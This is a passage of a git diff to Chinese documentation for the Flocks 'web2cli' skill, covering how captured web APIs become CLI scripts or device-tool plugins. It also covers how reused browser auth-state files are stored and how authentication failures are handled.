`$CAPTURE_ROOT/_cli.py`，也不要在 skill 的 `scripts/` 下放置一份与 device tool 平行演进的 CLI 主实现。如确实需要 CLI 做调试或回归，只能作为 device plugin 目录下的可选辅助文件，并必须明确它不是设备运行时主路径。 ### 10. 验证与修改 根据第 8 步确定的目标落点验证可用性： - 通用 CLI / Skill 场景：用生成的 CLI 任意选择一个接口调用测试可用性 -- 安全设备接入场景：用生成的 handler/device tool 或可选 CLI 任意选择一个低风险接口调用测试可用性 +- 安全设备接入场景：用生成的 device tool 或可选 CLI 任意选择一个低风险接口调用测试可用性 - 认证状态可用性 - `verify.json` 的输出约束是否满足 - method、endpoint、query/body/payload 的一致性，必要时根据 `${CAPTURE_NAME}_api.json` 调整 @@ -335,17 +371,17 @@ jq '.[] | select(.method == "POST") | {url: .url, body: .requestBody}' "$CAPTURE 无论主实现放在哪里，都必须保留 skill 级文档入口，供长期维护、认证恢复、重新抓包和排障使用： - `references/browser-workflow.md` 必须记录浏览器连接检查、登录步骤、state 保存位置和认证恢复流程 -- `references/cli-reference.md` 必须记录 CLI 或 device handler 的能力、参数、验证方式和回归方法 +- `references/cli-reference.md` 必须记录 CLI 或 device tool 的能力、参数、验证方式和回归方法 - `SKILL.md` 必须说明当前能力最终落点：`scripts/` 或 `tools/device//` -注意：skill 文档入口必选，不等于必须把主 CLI 代码也放进 skill 的 `scripts/`。安全设备接入场景下，主实现应以 device handler 为准。 +注意：skill 文档入口必选，不等于必须把主 CLI 代码也放进 skill 的 `scripts/`。安全设备接入场景下，主实现应以 device tool 为准。 不要只停留在一次性 CLI 或临时抓包结果；最终都要沉淀成可长期维护的资产。 ### 12. summary并关闭浏览器 tab -1. 总结当前生成的 CLI 工具有哪些接口/能力 -2. 确保 CLI 可用后关闭浏览器或 Tab +1. 总结当前生成的 CLI 或 device tool 有哪些接口/能力 +2. 确保生成的主实现可用后关闭浏览器或 Tab #### 关闭浏览器或 Tab @@ -397,5 +433,6 @@ else: - 登录状态失效：重新登录后再次执行保存状态命令。 ## Reference -- references/cli-in-device.md 在 skill 集成完成后，将 WebCLI 能力进一步封装为 device 插件 -- references/cli-in-skill.md 将生成的 CLI 集成到 skill 中使用 +- references/cli-requirements.md 说明通用 CLI 主实现的生成要求 +- references/device-tool-requirements.md 说明 device tool 主实现的生成要求 +- references/skill-integration.md 说明 CLI 和 device tool 两种主实现如何接入长期维护的产品 skill diff --git a/.flocks/plugins/skills/web2cli/references/cli-in-skill.md b/.flocks/plugins/skills/web2cli/references/cli-in-skill.md deleted file mode 100644 index 97687cdb4..000000000 --- a/.flocks/plugins/skills/web2cli/references/cli-in-skill.md +++ /dev/null @@ -1,191 +0,0 @@ -# 生成后的 CLI 如何接入 Skill - -> 本文只说明一件事：`web2cli` 已经生成出 CLI 之后，怎样把它整理成可长期维护的 skill 资产。 - -## 命名约定 - -落到 skill 时，统一改成**稳定的产品名**： - -- skill 目录：`$HOME/.flocks/plugins/skills/-use/` -- CLI 主脚本：`$HOME/.flocks/plugins/skills/-use/scripts/_cli.py` -- 默认认证状态：`~/.flocks/browser//auth-state.json` - -约定说明： - -- `` 用产品或系统的稳定标识，不用一次性任务名 -- 目录名可以保留 `-`，例如 `tdp-use` -- Python 脚本名统一用 `_`，例如 `tdp_cli.py` -- 不要把最终 CLI 保留成 `export_data_cli.py`、`test_capture_cli.py` 这类临时名字 - -## 放到已有产品 Skill - -如果仓库里已经有对应产品 skill，直接把生成结果并入现有 skill： - -```bash -SKILL_ROOT="$HOME/.flocks/plugins/skills/-use" - -mkdir -p "$SKILL_ROOT/scripts" -mkdir -p "$HOME/.flocks/browser/" - -cp "$CAPTURE_ROOT/_cli.py" \ - "$SKILL_ROOT/scripts/_cli.py" - -cp "$CAPTURE_ROOT/auth-state.json" \ - "$HOME/.flocks/browser//auth-state.json" -``` - -然后补齐这几项： - -1. 在 `scripts/config.py` 中把认证状态默认值指向 `~/.flocks/browser//auth-state.json` -2. 在 `references/cli-reference.md` 中写清楚 CLI 用法、环境变量和示例 -3. 在 `references/browser-workflow.md` 中写清楚浏览器登录、保存 state、页面入口、稳定操作方式、等待条件和认证恢复流程 -4. 在 `SKILL.md` 中说明什么时候优先走 CLI，什么时候退回浏览器 - -推荐的配置写法： - -```python -import os -from pathlib import Path - -AUTH_STATE_FILE = Path( - os.getenv( - "_AUTH_STATE", - Path.home() / ".flocks" / "browser" / "" / "auth-state.json", - ) -) -``` - -这样做的好处是： - -- 默认行为统一，和现有产品 skill 保持一致 -- 允许用户用环境变量覆盖 -- 生成阶段的临时产物和最终长期使用的认证文件分离 - -## 生成新的 Skill - -如果当前仓库里还没有对应产品 skill，就按下面的最小结构创建： - -```text -$HOME/.flocks/plugins/skills/-use/ -├── SKILL.md -├── scripts/ -│ ├── _cli.py -│ └── config.py -└── references/ - ├── browser-workflow.md - └── cli-reference.md -``` - -其中 `SKILL.md` 必须遵守 Flocks 的标准 skill 格式： - -- 文件开头必须是 YAML frontmatter，第一行必须为 `---` -- frontmatter 至少包含 `name` 和 `description` -- `name` 使用稳定的 skill 标识，推荐与目录名一致，例如 `-use` -- frontmatter 结束后，再写正文标题、触发条件、模式判断和使用说明 - -最小模板示例： - -```md ---- -name: test-use -description: 用于查询 Test 测试平台数据，支持通过 CLI 快速查询，认证失效时退回浏览器模式。 ---- - -# Test Use - -## 触发条件 - -- 用户提到 Test 平台 -- 用户需要查询 Test 数据 - -## 模式判断 - -### CLI 模式（默认） - -- 适用于快速查询和批量读取数据 - -### 浏览器模式 - -- 适用于需要页面交互、导出或重新登录的场景 -``` - -不要把 `SKILL.md` 直接写成普通 Markdown 文档，例如下面这种格式是无效的： - -```md -# Test Use -``` - -各文件职责： - -- `SKILL.md`：定义触发条件、模式判断、总入口说明 -- `scripts/_cli.py`：承载生成并整理后的 CLI 能力 -- `scripts/config.py`：集中管理 `BASE_URL`、`AUTH_STATE_FILE`、超时、SSL 等默认配置 -- `references/browser-workflow.md`：统一写浏览器登录、保存 state、页面入口、具体操作经验、等待条件与认证恢复流程 -- `references/cli-reference.md`：写 CLI 参数、命令示例、常见查询 - -新 skill 的原则也一样：先把生成的 CLI 改成稳定文件名，再把临时 `auth-state.json` 切换到全局默认位置 `~/.flocks/browser//auth-state.json`。 - -## `browser-workflow.md` 写作指南 - -`references/browser-workflow.md` 是产品 skill 里统一承载浏览器经验的单文件。凡是已经验证、后续还会复用的浏览器操作经验，都应该优先沉淀到这里，而不是散落在临时对话里。 - -推荐写入以下内容： - -- 固定的登录入口、首页、详情页、导出页 URL -- 已确认某产品的稳定登录的方法 -- 认证失效识别与恢复步骤 -- 已验证表格、筛选器、分页、弹窗、下载、上传、详情展开等操作的稳定路径 -- 已验证某站点特有的等待条件、重渲染行为、虚拟列表、iframe 或 SPA 交互特征 -- 默认 state 路径，例如 `~/.flocks/browser//auth-state.json` -- CLI 与浏览器的分工边界，例如“列表查询优先 CLI，详情预览/导出/人工登录走浏览器” -- 特定操作的成功经验，失败案例（特定操作失败 2 次以上，最终成功的经验） -- web2cli 过程中的踩坑、注意事项 - -不要写入： - -- cookie、token、密码、短信码、TOTP 等敏感信息 -- 一次性的 `@eN` ref、临时 tab id、临时 selector、像素坐标 -- 本次任务的操作流水账 - -## 认证失败怎么处理 - -CLI 调用出现以下情况时，优先按认证失效处理： - -- 返回 `401` 或 `403` -- 返回内容出现 `Unauthorized`、`login`、未登录、无权限 -- `auth-state.json` 已存在，但请求仍然被重定向到登录页 - -处理原则： - -1. 不要无限重试 CLI -2. 请求用户重新通过浏览器登录 -3. 登录完成后，重新保存认证状态到默认路径 -4. 再重试一次 CLI - -默认认证文件路径固定为： - -```bash -~/.flocks/browser//auth-state.json -``` - -保存方式示例： - -```bash -mkdir -p "$HOME/.flocks/browser/" - -# agent-browser 模式 -agent-browser state save "$HOME/.flocks/browser//auth-state.json" - -# 或 cdp-direct / flocks browser 模式 -flocks browser state save "$HOME/.flocks/browser//auth-state.json" -``` - -如果用户重新登录并保存 state 后，CLI 仍然失败，再继续排查： - -- `BASE_URL` 是否写错 -- 当前账号是否确实有接口权限 -- 站点是否还有额外 header / token / csrf 依赖 - -## 一句话原则 - -`web2cli` 产出的 `_cli.py` 是临时结果；真正沉淀到 skill 时，要改成稳定产品名脚本，并把认证状态统一落到 `~/.flocks/browser//auth-state.json`。 diff --git a/.flocks/plugins/skills/web2cli/references/device-tool-requirements.md b/.flocks/plugins/skills/web2cli/references/device-tool-requirements.md new file mode 100644 index 000000000..fd1f2658a --- /dev/null +++ b/.flocks/plugins/skills/web2cli/references/device-tool-requirements.md @@ -0,0 +1,281 @@ +# Web2CLI Device Tool 生成要求 + +> 本文说明：`web2cli` 已经抓到页面请求后，怎样生成可在设备页识别、配置和调用的 device tool。 + +## 结论 + +`device-tool-requirements.md` 说明安全设备场景下如何生成 device plugin 主实现。它不是 `skill-integration.md` 的替代物，也不要求先生成一套独立 CLI 再额外封装 device： + +- 所有 `web2cli` 结果都必须完成 skill 集成 +- 安全设备接入场景下，主实现是 `device plugin`，不是 skill `scripts/` 下的 CLI +- 对应 skill 必须保留 `SKILL.md`、`references/browser-workflow.md` 和 `references/cli-reference.md`，用于记录触发条件、浏览器经验、认证恢复、device tool 能力和验证方法 +- `references/cli-reference.md` 是通用接口文档入口，可记录 CLI，也可记录 device tool 的参数、输出和回归方式 + +## 何时使用 + +在以下场景调用本文档： + +- 当前任务明确来自“设备接入”页面，目标是把某个安全设备或安全产品接入到设备管理体系 +- 最终产物需要出现在设备页，并允许用户填写实例配置、刷新模板、按 `device_id` 调用 +- 当前 WebCLI 抓到的能力属于安全设备能力，而不是单纯给 skill 复用的站点操作脚本 + +不优先使用本文档的场景： + +- 只是想保留一个可复用 CLI 供 agent 在 skill 中调用 +- 目标不是设备接入，而是某个通用网站的操作自动化、查询脚本或内部工具 +- 暂时只需要沉淀浏览器经验、CLI 参数和认证恢复流程，不需要设备页识别 + +如果当前任务来自“设备接入”页面，并且目标是安全设备接入，WebCLI 应生成标准 device 插件作为主实现： + +```text +$HOME/.flocks/plugins/tools/device// +├── _provider.yaml +├── .yaml +├── .handler.py +├── _cli.py # 可选，仅用于调试/回归 +└── _test.yaml # 可选，最小验证样例 +``` + +其中： + +- `_provider.yaml`：决定设备页是否能识别该模板，以及用户创建实例时需要填写哪些字段 +- `.yaml`：定义可调用工具、参数和 action +- `.handler.py`：设备运行时入口，负责读取配置、认证、发请求、清洗结果 +- `_cli.py`：只作为调试入口保留，不作为设备运行时主路径 + +认证默认规则： + +- 自定义 CLI / WebCLI 默认认证方式为 `cookie/auth-state`：优先复用浏览器保存的 `auth-state.json`，从中按请求域名/path/secure 规则选择 Cookie，并在需要时读取 localStorage +- 默认认证状态文件：`~/.flocks/browser//auth-state.json` +- 优先使用 `auth_state_path` 指向 `~/.flocks/browser//auth-state.json` +- 可以额外暴露可选 `username` / `password`，但它们只用于 cookie 失效后的认证恢复，不替代默认的 `auth_state_path` +- 不要生成或使用 `auth_state_json` / `Legacy Auth State JSON` 这类内联 JSON 字段；设备配置只保存 state 文件路径，不粘贴 state 文件内容 +- 只有在目标站点确实还依赖额外字段时，才补充 `cookie`、`csrf_token`、`access_token` 或特定认证头；这些字段是 `auth_state_path` 之外的补充，不替代默认的 cookie/auth-state +- 不要把 `cookie` 或 `token` 设计成和 `auth-state` 并列的多个默认入口；如果用户提供的是 state 文件路径，必须写入 `auth_state_path` + +## 命名约定 + +- 插件目录：`$HOME/.flocks/plugins/tools/device//` +- `plugin_id`：推荐使用稳定产品名加版本，例如 `_v1_0_0` +- `service_id`：推荐使用稳定能力标识，例如 `_device` +- handler 文件：`.handler.py` +- 可选 CLI 文件：`_cli.py` + +约定说明： + +- `` 用产品或系统的稳定标识，不用一次性任务名 +- 目录名可以带版本；`service_id` 要尽量稳定，避免和临时抓包任务绑定 +- Python 文件名统一用 `_` + +## 最小 `_provider.yaml` + +至少包含以下字段： + +```yaml +name: Acme Portal +vendor: acme_security +service_id: acme_portal_device +version: "1.0.0" +integration_type: device +description: > + Acme Portal WebCLI-backed device integration for alert listing and asset + detail queries. Configure Base URL and the required login state fields + separately in the credentials form. +description_cn: > + Acme Portal 的 WebCLI 设备接入模板，支持告警列表和资产详情查询。 + 请在设备配置中分别填写 Base URL 与所需登录态字段。 +credential_fields: + - key: base_url + label: Base URL + storage: config + config_key: base_url + input_type: url + required: true + - key: auth_state_path + label: Auth State Path + storage: config + config_key: auth_state_path + input_type: text + default: "~/.flocks/browser/acme-portal/auth-state.json" + - key: username + label: Username + storage: config + config_key: username + input_type: text + required: false + description: 仅在 cookie 失效后需要 Agent 辅助登录刷新 state 时填写 + - key: password + label: Password + storage: secret + config_key: password + secret_id: acme_portal_password + input_type: password + required: false + description: 仅在 cookie 失效后需要 Agent 辅助登录刷新 state 时填写 + - key: cookie + label: Cookie + storage: secret + config_key: cookie + secret_id: acme_portal_cookie + input_type: password + - key: csrf_token + label: CSRF Token + storage: secret + config_key: csrf_token + secret_id: acme_portal_csrf_token + input_type: password +defaults: + timeout: 30 + category: custom +notes: | + WebCLI 设备建议优先复用稳定隐藏接口，不建议把浏览器自动化作为默认运行时。 + 若返回 401/403、跳转登录页或 CSRF 失效，应先按认证失效处理。 +``` + +注意： + +- 必须包含 `integration_type: device` +- `description` 用英文，`description_cn` 用中文 +- 只把运行时真正需要用户填写的字段放进 `credential_fields` +- 不要把真实 cookie、token、密码、auth state JSON 写进插件文件 +- 默认先放 `auth_state_path`，并指向 `~/.flocks/browser//auth-state.json`；不要添加 `auth_state_json` / `Legacy Auth State JSON` +- 可以补充可选 `username` / `password`，但必须标注它们仅用于认证恢复或浏览器辅助登录，不得作为默认运行时认证入口 +- `cookie`、`csrf_token`、`access_token` 或特定认证头只有在实际站点需要时再补，并在 handler 中明确说明来源与刷新方式 + +## 最小工具 YAML + +MVP 阶段推荐一个分组工具 + 多个 action： + +```yaml +name: acme_portal_ops +description: > + Acme Portal grouped device tool. Use the action parameter to query alerts, + assets, and other WebCLI-backed operations. +description_cn: > + Acme Portal 分组设备工具。通过 action 参数调用告警、资产和其他 WebCLI 能力。 +category: custom +enabled: true +requires_confirmation: false +provider: acme_portal_device +inputSchema: + type: object + properties: + action: + type: string + enum: [list_alerts, get_asset_detail] + description: 统一业务动作名，不要暴露内部实现来源。 + alert_id: + type: string + description: 查询资产详情时可选使用的关联标识。 + required: [action] +handler: + type: script + script_file: acme_portal.handler.py + function: handle +``` + +规则： + +- `provider` 必须与 `_provider.yaml.service_id` 一致 +- 高风险写操作必须设置 `requires_confirmation: true` +- 对外 action 用统一业务语义，不要命名成 `webcli_get_alerts`、`api_get_alerts` + +## 最小 handler 结构 + +MVP 阶段优先单文件 handler，不强制拆 client 模块： + +```python +from __future__ import annotations + +from typing import Any + +from flocks.config.config_writer import ConfigWriter +from flocks.tool.registry import ToolContext, ToolResult + +SERVICE_ID = "acme_portal_device" + + +def _service_config() -> dict[str, Any]: + raw = ConfigWriter.get_api_service_raw(SERVICE_ID) + return raw if isinstance(raw, dict) else {} + + +async def handle(ctx: ToolContext, action: str, **params: Any) -> ToolResult: + cfg = _service_config() + if action == "list_alerts": + return ToolResult(success=True, output={"items": [], "source": "webcli_api"}) + if action == "get_asset_detail": + return ToolResult(success=True, output={"item": None, "source": "webcli_api"}) + return ToolResult(success=False, error=f"Unsupported action: {action}") +``` + +要求： + +- 通过 `ConfigWriter.get_api_service_raw(SERVICE_ID)` 读取当前设备实例配置 +- handler 内部负责认证头构造、分页、超时、重试和响应归一化 +- handler 默认只读取 `auth_state_path` 指向的 `auth-state.json`；如果文件缺失、不是合法 JSON，或没有匹配当前 Base URL 的 Cookie，应返回明确错误并提示重新登录/保存 state +- handler 不要 fallback 到内联 `auth_state_json`；这会把路径字符串、占位文本或过期内容误当 JSON 解析，导致设备测试报错不清晰 +- 如果模板提供了 `username` / `password`，handler 也不要在普通 tool 调用里静默自动登录；这些字段只用于后续由 Rex 进入浏览器认证恢复流程时辅助填表 +- CLI 可选保留，但不要让设备运行时通过 subprocess 调 CLI + +## 组合 API / WebCLI / 处理逻辑 + +同一设备可以混合多种能力来源，但对外仍然是统一 action： + +- `api`：正式 API，可直接调用 +- `webcli_api`：WebCLI 抓到的隐藏接口 +- `process`：本地字段归一化、过滤、聚合、补全 +- `composed`：先调一种来源，再补另一种来源，最后统一输出 + +推荐选择顺序： + +1. 正式 API 稳定可用时，优先正式 API +2. 正式 API 缺能力但 WebCLI 接口稳定时，用 `webcli_api` +3. 需要字段清洗、补全、排序、聚合时，在 handler 内增加 `process` +4. 需要多个来源补齐同一业务结果时，用 `composed` +5. 必须验证码、强动态页面或人工交互时，只记录为 browser fallback，不放进默认设备运行时 +6. 如果某个隐藏接口依赖 `Authorization`、`Tdp-Authentication`、CSRF 等临时头，只有在 handler 已实现可靠的恢复/刷新逻辑时才暴露为默认 action；否则保留在 CLI 或文档中，不放进设备默认动作 + +示例 action 映射： + +```yaml +list_alerts: webcli_api +get_asset_detail: composed +list_users: api +normalize_alert: process +``` + +这里的映射可以写进 handler 常量、注释、`notes` 或单独的设计文档，但不要把“来源类型”直接暴露给最终用户。 + +## 认证失败处理 + +出现以下情况时，优先按认证失效处理： + +- 返回 `401` 或 `403` +- 返回内容出现 `Unauthorized`、`login`、未登录、无权限 +- Cookie / CSRF / access token 明显过期 +- `auth_state_path` 已存在，但接口仍跳转登录页 + +处理原则： + +1. 不要无限重试 +2. 优先返回明确话术，提示 Rex 使用 `flocks browser` 和对应 skill 的认证失败处理去恢复登录态 +3. 如果设备已配置可选 `username` / `password`，Rex 可以在浏览器恢复流程中读取它们辅助登录；如遇验证码、MFA、短信码或人工确认，立即停下并让用户接管 +4. 登录成功后执行 `flocks browser state save ` 更新 cookie/state 文件 +5. 如仍失败，再提示用户重新登录或更新设备配置中的认证字段 +6. 如果保留了 CLI，可用 CLI 做一次最小验证 +7. 验证通过后，再让用户回到设备页点击“刷新设备模板” + +## `_test.yaml` 建议 + +如果该 WebCLI 设备已经有最小可验证动作，建议补一个 `_test.yaml`，至少覆盖： + +- 一个低风险读操作 +- 最小必填参数 +- 成功时的关键字段断言 + +这样后续更新 handler 或认证逻辑时更容易回归验证。 + +## 一句话原则 + +`web2cli` 生成的 CLI 是中间产物；只有在“安全设备接入”场景下，才把它整理成标准 device 插件，让设备页能识别、配置并调用。 diff --git a/.flocks/plugins/skills/web2cli/references/skill-integration.md b/.flocks/plugins/skills/web2cli/references/skill-integration.md new file mode 100644 index 000000000..b0e9edc0c --- /dev/null +++ b/.flocks/plugins/skills/web2cli/references/skill-integration.md @@ -0,0 +1,199 @@ +# Web2CLI 结果如何接入 Skill + +> 本文说明：`web2cli` 生成 CLI 或 device tool 后，怎样把能力沉淀成可长期维护的产品 skill。 + +## 结论 + +无论最终主实现是 CLI 还是 device tool，都必须创建或更新对应产品 skill。skill 是长期入口，负责记录触发条件、模式判断、浏览器经验、认证恢复、接口文档和回归方法。 + +主实现二选一： + +- **CLI 主实现**：CLI 放入 skill 的 `scripts/`，skill 直接调用 CLI。 +- **device tool 主实现**：device plugin 放入 `tools/device//`，skill 不放独立 CLI 主实现，只记录 device tool 的使用、验证和认证恢复方式。 + +## 命名约定 + +- skill 目录：`$HOME/.flocks/plugins/skills/-use/` +- 默认认证状态：`~/.flocks/browser//auth-state.json` +- `` 使用产品或系统的稳定标识，不用一次性任务名 +- 目录名可以保留 `-`，例如 `tdp-use` +- Python 文件名统一用 `_` + +不要把最终能力命名成 `export_data`、`test_capture`、`web2cli_demo` 这类临时任务名。 + +## 共用 Skill 结构 + +CLI 和 device tool 两种场景都必须保留这些文件： + +```text +$HOME/.flocks/plugins/skills/-use/ +├── SKILL.md +└── references/ + ├── browser-workflow.md + └── cli-reference.md +``` + +其中： + +- `SKILL.md`：定义触发条件、模式判断、主实现落点和退回浏览器的条件 +- `references/browser-workflow.md`：记录登录入口、保存 state、认证恢复、页面操作经验和重新抓包方法 +- `references/cli-reference.md`：记录 CLI 或 device tool 的能力、参数、输出字段、验证方式和回归方法 + +`references/cli-reference.md` 是历史沿用的统一接口文档名。即使主实现是 device tool，也继续使用这个文件承载 device tool 的参数、输出和验证说明。 + +## CLI 主实现的 Skill 集成 + +如果第 8 步选择通用 CLI 作为主实现，skill 还必须包含： + +```text +$HOME/.flocks/plugins/skills/-use/ +└── scripts/ + ├── _cli.py + └── config.py +``` + +从临时抓包结果集成到 skill 时： + +```bash +SKILL_ROOT="$HOME/.flocks/plugins/skills/-use" + +mkdir -p "$SKILL_ROOT/scripts" "$SKILL_ROOT/references" +mkdir -p "$HOME/.flocks/browser/" + +cp "$CAPTURE_ROOT/_cli.py" \ + "$SKILL_ROOT/scripts/_cli.py" + +cp "$CAPTURE_ROOT/auth-state.json" \ + "$HOME/.flocks/browser//auth-state.json" +``` + +随后补齐： + +1. 在 `scripts/config.py` 中把认证状态默认值指向 `~/.flocks/browser//auth-state.json` +2. 在 `references/cli-reference.md` 中写清楚 CLI 参数、环境变量、输出字段和示例 +3. 在 `references/browser-workflow.md` 中写清楚浏览器登录、保存 state、认证恢复和重新抓包步骤 +4. 在 `SKILL.md` 中说明什么时候优先走 CLI，什么时候退回浏览器 + +推荐的配置写法： + +```python +import os +from pathlib import Path + +AUTH_STATE_FILE = Path( + os.getenv( + "_AUTH_STATE", + Path.home() / ".flocks" / "browser" / "" / "auth-state.json", + ) +) +``` + +## Device Tool 主实现的 Skill 集成 + +如果第 8 步选择 device plugin 作为主实现，skill 只放维护入口和文档，不放 `scripts/_cli.py` 主实现。 + +必须补齐： + +1. 在 `SKILL.md` 中说明当前能力最终落点是 `tools/device//` +2. 在 `references/cli-reference.md` 中写清楚 device tool 的 action、参数、输出字段、验证方式和回归方法 +3. 在 `references/browser-workflow.md` 中写清楚浏览器登录、保存 state、认证恢复、重新抓包步骤和 device 配置依赖 +4. 将认证状态默认位置统一到 `~/.flocks/browser//auth-state.json` + +device 场景不要在 skill 的 `scripts/` 目录下放一份与 device tool 平行演进的 CLI 主实现。如确实需要 CLI 做调试或回归，只能放在 device plugin 目录下作为可选辅助文件，并在 `references/cli-reference.md` 明确它不是运行时主路径。 + +## `SKILL.md` 要求 + +`SKILL.md` 必须遵守 Flocks 的标准 skill 格式： + +- 文件开头必须是 YAML frontmatter，第一行必须为 `---` +- frontmatter 至少包含 `name` 和 `description` +- `name` 使用稳定的 skill 标识，推荐与目录名一致，例如 `-use` +- frontmatter 结束后，再写正文标题、触发条件、模式判断和使用说明 + +最小模板示例： + +```md +--- +name: test-use +description: 用于查询 Test 平台数据，支持通过 CLI 或 device tool 快速查询，认证失效时退回浏览器模式。 +--- + +# Test Use + +## 触发条件 + +- 用户提到 Test 平台 +- 用户需要查询 Test 数据 + +## 模式判断 + +### CLI / Device Tool 模式（默认） + +- 适用于快速查询和批量读取数据 + +### 浏览器模式 + +- 适用于需要页面交互、导出、重新登录或重新抓包的场景 +``` + +不要把 `SKILL.md` 直接写成普通 Markdown 文档，例如下面这种格式是无效的： + +```md +# Test Use +``` + +## `browser-workflow.md` 写作指南 + +推荐写入： + +- 固定的登录入口、首页、详情页、导出页 URL +- 已确认的稳定登录方法 +- 认证失效识别与恢复步骤 +- 已验证的页面操作路径、等待条件、iframe、虚拟列表或 SPA 特征 +- 默认 state 路径，例如 `~/.flocks/browser//auth-state.json` +- CLI / device tool 与浏览器的分工边界 +- web2cli 过程中的踩坑、注意事项 + +不要写入： + +- cookie、token、密码、短信码、TOTP 等敏感信息 +- 一次性的 `@eN` ref、临时 tab id、临时 selector、像素坐标 +- 本次任务的操作流水账 + +## 认证失败怎么处理 + +CLI 或 device tool 调用出现以下情况时，优先按认证失效处理： + +- 返回 `401` 或 `403` +- 返回内容出现 `Unauthorized`、`login`、未登录、无权限 +- `auth-state.json` 已存在，但请求仍然被重定向到登录页 + +处理原则： + +1. 不要无限重试 +2. 请求用户重新通过浏览器登录 +3. 登录完成后，重新保存认证状态到默认路径 +4. 再重试一次 CLI 或 device tool + +默认认证文件路径固定为： + +```bash +~/.flocks/browser//auth-state.json +``` + +保存方式示例： + +```bash +mkdir -p "$HOME/.flocks/browser/" +flocks browser state save "$HOME/.flocks/browser//auth-state.json" +``` + +如果用户重新登录并保存 state 后仍然失败，再继续排查： + +- `BASE_URL` 是否写错 +- 当前账号是否确实有接口权限 +- 站点是否还有额外 header / token / csrf 依赖 + +## 一句话原则 + +`web2cli` 的临时抓包结果不是最终交付。最终要么沉淀为 skill `scripts/` 下的稳定 CLI，要么沉淀为 device plugin 下的 device tool；两种方式都必须配套产品 skill 文档入口和统一认证状态路径。 diff --git a/.flocks/plugins/skills/workflow-builder/SKILL.md b/.flocks/plugins/skills/workflow-builder/SKILL.md index 36475ffcf..dfe3947c1 100644 --- a/.flocks/plugins/skills/workflow-builder/SKILL.md +++ b/.flocks/plugins/skills/workflow-builder/SKILL.md @@ -6,9 +6,11 @@ description: 根据自然语言描述生成 flocks 内置工作流（workflow.md # Workflow Builder -分七个阶段构建工作流：**场景确认与流程设计** → **简化 JSON 预览循环** → **完整 workflow.md** → **完整 workflow.json** → **逐节点测试** → **集成测试** → **性能评估与优化**。 +创建模式按以下顺序构建工作流：**场景确认与流程设计** → **确认 workflow.md 文档语言** → **workflow.md 草稿与确认循环** → **workflow.json 生成与验证** → **逐节点测试** → **集成测试** → **性能评估与优化**。 > **产物**：`workflow.json` 中所有可执行节点均为 `type="python"` 并自带 `code`。最终交付物固定为：`workflow.md`、`workflow.json`。 +> +> **顺序强制**：创建工作流时，`workflow.md` 是唯一的人类意图源。必须先询问用户需要中文还是英文流程说明文档，再按所选语言创建并确认 `workflow.md`，最后基于已确认的 `workflow.md` 生成 `workflow.json`。在 `workflow.md` 写入并确认前，严禁写入或覆盖 `workflow.json`。 ## 参考资料（按需读取） @@ -16,6 +18,10 @@ description: 根据自然语言描述生成 flocks 内置工作流（workflow.md |------|------|---------| | [references/reference.md](references/reference.md) | 节点类型详解、出边选择行为、分支/循环/Join 规则、Edge Mapping 指南、Tool vs LLM 决策、文件输出规则、报告生成模板、`workflow.json` 骨架模板 | **生成 `workflow.json` 前建议读取** | | [references/composition.md](references/composition.md) | 嵌套工作流（subworkflow）组合格式与展开规则 | 仅在用户需要嵌套工作流时读取 | +| [references/workflow_zh.md](references/workflow_zh.md) | 中文 `workflow.md` 结构模板 | 用户选择中文流程说明文档时读取 | +| [references/workflow_en.md](references/workflow_en.md) | English `workflow.md` structure template | 用户选择英文流程说明文档时读取 | +| [references/workflow_template/](references/workflow_template/) | 工作流创建参考包，包含标准 `workflow.md`、`workflow.json`、`config.json`、`guide.md` 和 `meta.json` 模板 | **创建工作流、生成配置模板或补齐 guide.md 前按需读取** | +| `~/.flocks/plugins/workflows/stream_alert_denoise/workflow.md` | 已成型业务工作流示例，展示“功能、流程、输入输出、模块逻辑、发布配置、编辑指南”的写法 | 文件存在且需要参考真实工作流表达时读取 | --- @@ -30,15 +36,15 @@ description: 根据自然语言描述生成 flocks 内置工作流（workflow.md [ ] 1. 场景深度确认：与用户对话，明确业务场景与核心目标 [ ] 1. 输出思考维度分析 + Mermaid 流程简图，与用户沟通对齐 [ ] 1. 获取样例数据（用户上传或自动构造后确认） -[ ] 2. 生成简化版预览 JSON（仅节点名称+描述，无代码） -[ ] 2. 写入简化 workflow.json 文件，供页面展示流程图 -[ ] 2. 向用户展示并收集修改建议（循环直至满意） -[ ] 3. 生成完整 workflow.md（人读描述） -[ ] 3. 写入 workflow.md 文件 -[ ] 3. 向用户展示流程摘要并请求确认 -[ ] 4. 读取 reference.md -[ ] 4. 生成完整 workflow.json（含代码） -[ ] 4. 写入 workflow.json 文件 +[ ] 2. 用 Question 工具确认 workflow.md 使用中文还是英文 +[ ] 2. 读取对应语言模板 workflow_zh.md 或 workflow_en.md，以及可用业务示例 +[ ] 2. 生成单份 workflow.md 草稿（人读描述，包含功能、流程、节点、输入输出、处理逻辑） +[ ] 2. 写入 workflow.md 文件，供页面编辑器展示 +[ ] 2. 向用户展示流程摘要并收集修改建议（循环直至满意） +[ ] 2. 确认 workflow.md 已是最新意图源 +[ ] 3. 读取 reference.md +[ ] 3. 基于已确认 workflow.md 生成完整 workflow.json（含代码） +[ ] 3. 写入 workflow.json 文件 [ ] 4. 验证 JSON 格式 + Python 语法 [ ] 4. 保存样例数据到 /api/workflow/{id}/sample-inputs [ ] 5. 逐节点测试：节点 1 - @@ -131,125 +137,84 @@ flowchart TD --- -## 2. 第二阶段：简化版 JSON 预览与确认循环 - -> 目标：在投入完整代码编写之前，让用户在页面上直观地看到流程图，并就节点/边的设计提出修改建议。 - -### 2.1 生成简化版 workflow.json - -生成一份**只有结构、没有代码**的简化 JSON 文件： - -- 每个节点使用 `type="logic"`（只需 `description`，无需 `code`） -- 包含节点的 `id`、`name`（可读名称）、`description`（功能说明） -- 包含完整的 `edges`（`from`、`to`、`label`） -- **不包含任何 Python 代码** - -简化 JSON 最小结构示例： - -```json -{ - "id": "alert_triage", - "name": "告警分级调查", - "description": "自动化 NDR 告警调查工作流", - "start": "receive_alert", - "nodes": [ - { - "id": "receive_alert", - "type": "logic", - "name": "接收告警", - "description": "接收输入告警，提取 IP、端口、协议等关键字段" - }, - { - "id": "check_ip_type", - "type": "branch", - "name": "判断 IP 类型", - "description": "判断源 IP 是内网地址还是外网地址，分支处理" - }, - { - "id": "query_threat_intel", - "type": "logic", - "name": "查询威胁情报", - "description": "调用威胁情报工具查询外部 IP 的恶意评分、标签" - }, - { - "id": "generate_report", - "type": "logic", - "name": "生成分析报告", - "description": "汇总所有上下文，由 LLM 生成结构化调查报告" - } - ], - "edges": [ - { "from": "receive_alert", "to": "check_ip_type", "order": 0 }, - { "from": "check_ip_type", "to": "query_threat_intel", "label": "外网", 